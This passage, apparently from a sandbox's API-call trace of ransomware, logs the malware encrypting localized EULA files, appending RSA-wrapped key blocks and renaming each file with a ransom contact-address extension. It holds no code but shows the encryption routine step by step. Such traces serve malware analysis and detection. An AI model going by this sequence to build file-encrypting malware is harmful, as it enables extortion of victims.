(lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm", dwFileAttributes=0x80) returned 1 [0157.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653fe8 [0157.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0157.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653fe8 | out: hHeap=0x570000) returned 1 [0157.469] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.469] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=76091) returned 1 [0157.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1293b) returned 0x6548b8 [0157.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1293b) returned 0x2e60f28 [0157.470] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x1293b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1293b, lpOverlapped=0x0) returned 1 [0157.481] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-76091, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.481] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x1293b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1293b, lpOverlapped=0x0) returned 1 [0157.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0157.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0157.481] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1293b [0157.481] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.481] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.481] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.481] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.482] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.482] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.482] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="xtArhqqiGJvMtN/33Xvs1niD1AeVsqYFjULnJQkjyJ7VN7CeYBOdk30h8IvY7hKE\nxBSymBAqiYBbrPnWkuTAigsM1Q2jgoeQEwIUaKE90YQ6ZKoWrCFtiLvKpMjrKiDj\n2idZmk/LvUrg2a358iGEP71OIaxKh6Wm9ImbmIgboZN2667sjsR0EyvT6NBGTwOo\nxrMU6Eo46lk8y1uoQpbbo4OPlADVy69qtJF2Tti/5G1FpOl57AucairaYDGpBzWT\nj3HB4e5q8XST+K1utCyz/zyCUuP3j+ECVJx3i+1p9plNIOMke5BQp9ghhK5hAoLr\nw6vJ/WWYASYOIEF3ghMYnA==\n", pcchString=0x2e3f9a8) returned 1 [0157.482] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.482] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.482] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.482] CloseHandle (hObject=0x6e8) returned 1 [0157.482] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.482] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0157.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0157.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653ac0 | out: hHeap=0x570000) returned 1 [0157.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653ca0 | out: hHeap=0x570000) returned 1 [0157.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6541c8 [0157.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0157.484] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.484] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm", dwFileAttributes=0x80) returned 1 [0157.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6538e0 [0157.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0157.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538e0 | out: hHeap=0x570000) returned 1 [0157.484] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.485] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=634083) returned 1 [0157.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9ace3) returned 0x67a020 [0157.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9ace3) returned 0x314d020 [0157.486] ReadFile (in: hFile=0x6e8, lpBuffer=0x67a020, nNumberOfBytesToRead=0x9ace3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x67a020*, lpNumberOfBytesRead=0x2e3f9b4*=0x9ace3, lpOverlapped=0x0) returned 1 [0157.575] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-634083, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.575] WriteFile (in: hFile=0x6e8, lpBuffer=0x314d020*, nNumberOfBytesToWrite=0x9ace3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314d020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9ace3, lpOverlapped=0x0) returned 1 [0157.576] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x67a020 | out: hHeap=0x570000) returned 1 [0157.576] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x314d020 | out: hHeap=0x570000) returned 1 [0157.577] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9ace3 [0157.577] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.577] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.577] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.577] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.577] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.577] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.577] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="+uO5OvYlK/iKrRcscxRjYaAVCxk1uFatbo6H8ULcvvaEJMxFsKzwh5OVfzSwS23I\nlQS+qu1KtGYxrYRd4JJc8ydp56s0X5KsVuUjTpTpWh/eT8SZ9Tmp1QWlnDiwc/5m\nO6E1Unprhgjw3CnT6d5quETey1UPNfzMrNl8xrOijEhpkQbFXg6zI4SrCm4eBtZ3\nSsIsvkrKuGvF2cCIYqRhx7p5TUTXXgxoUR+FDBun6baQLNUgpIpunisGQDSM1Ly7\njJnBAppxlGtVMvrD+LRCuChJbhiFqkkppdKMtzVCask8DcvnrEiOqSPnQh0M5r4k\n74GQZiP1+wvAszx33OouGQ==\n", pcchString=0x2e3f9a8) returned 1 [0157.577] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.577] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.577] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.577] CloseHandle (hObject=0x6e8) returned 1 [0157.577] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.578] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.579] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0157.579] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0157.579] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6541c8 | out: hHeap=0x570000) returned 1 [0157.579] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654588 | out: hHeap=0x570000) returned 1 [0157.579] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654768 [0157.579] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8a0 [0157.579] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.579] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm", dwFileAttributes=0x80) returned 1 [0157.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653ca0 [0157.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0157.580] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653ca0 | out: hHeap=0x570000) returned 1 [0157.580] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.580] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=210254) returned 1 [0157.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3354e) returned 0x2e60f28 [0157.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3354e) returned 0x2e94480 [0157.581] ReadFile (in: hFile=0x6e8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x3354e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x3354e, lpOverlapped=0x0) returned 1 [0157.595] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-210254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.595] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e94480*, nNumberOfBytesToWrite=0x3354e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e94480*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3354e, lpOverlapped=0x0) returned 1 [0157.595] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0157.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e94480 | out: hHeap=0x570000) returned 1 [0157.596] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3354e [0157.596] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.596] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.596] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.596] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.597] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.597] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="JCHlWTV+CwHUbp5C8+5A907+GUucj1Nm5So6vVx4ossHNxGM8vyXP0vDOJNxpvsw\nHsiL5A8uxQsDPGDMQdKt+Bc9Ex2/w01KljuvHh7wTBtZCSXGwkeDRHEQM9I3Cnx2\nP8GjADq/acu6H0Wy79u3CMSw16GQNpsn5PjRs3DkgvATb1Iuc4gIG2kknkKsTkiu\nmHFy+FnV8fjZvVUod2qz58WsHxH3yGwBqmlvHqMNDk7ck15WZ0Wzdc0xNMMd/1qE\nUkNwrj5Rwm+nunwqNo6GSUhnBX4zMYd4SE9DI6TurxNRku7ekY6kZNLiJ37Crqt+\n2MzX9urHq64MkpAOXBj/Cw==\n", pcchString=0x2e3f9a8) returned 1 [0157.597] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.597] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.597] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.597] CloseHandle (hObject=0x6e8) returned 1 [0157.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.597] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0157.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8a0 | out: hHeap=0x570000) returned 1 [0157.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654768 | out: hHeap=0x570000) returned 1 [0157.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6543a8 | out: hHeap=0x570000) returned 1 [0157.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653a48 [0157.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0157.599] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.599] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm", dwFileAttributes=0x80) returned 1 [0157.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654240 [0157.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0157.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654240 | out: hHeap=0x570000) returned 1 [0157.600] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.600] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69485) returned 1 [0157.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10f6d) returned 0x6548b8 [0157.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10f6d) returned 0x2e60f28 [0157.600] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x10f6d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x10f6d, lpOverlapped=0x0) returned 1 [0157.626] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-69485, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.626] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x10f6d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10f6d, lpOverlapped=0x0) returned 1 [0157.626] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0157.626] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0157.626] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10f6d [0157.626] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.626] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.626] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.626] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.627] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.627] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.627] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="eZfRMfLPQWi8BJ5SrTm941ioQwn9Ftvs9vhUwkXat/bwhBdjYdtIlMUX3eqOnfNw\nnT3VMZojG9SrkEwHTSUKOT5Zro1P3/5winlXuDdk48Z1pZFdvMfIwSEuBlItQdx+\n0pupqmKUWBr1v3CPDaPKU1aD763OSk7/G4n1g6ePjJXwgY5ewlidxpiij79E+uoo\nS+/WFEsUF/bHuCjOKiH4s+lEAAOT/XqxmatF/T1L++D7Q/sTrDo9UjGARAm+2B9c\niuEhpdsLO7G+wEw8d3CZGYLgwFKoDUHRnJ7c0uQVNiaZsDNsYX3ivQLWb9wrUDKW\nW/r4nMDf3f4JY4dVEt6CAQ==\n", pcchString=0x2e3f9a8) returned 1 [0157.627] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.627] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.627] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.627] CloseHandle (hObject=0x6e8) returned 1 [0157.627] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.627] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.647] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0157.647] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0157.647] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653a48 | out: hHeap=0x570000) returned 1 [0157.647] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653c28 | out: hHeap=0x570000) returned 1 [0157.647] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653c28 [0157.647] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0157.647] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.647] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm", dwFileAttributes=0x80) returned 1 [0157.648] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653a48 [0157.648] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0157.648] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653a48 | out: hHeap=0x570000) returned 1 [0157.648] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.648] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=84570) returned 1 [0157.648] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14a5a) returned 0x6548b8 [0157.648] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14a5a) returned 0x2e60f28 [0157.648] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x14a5a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x14a5a, lpOverlapped=0x0) returned 1 [0157.657] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-84570, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.657] WriteFile (in: 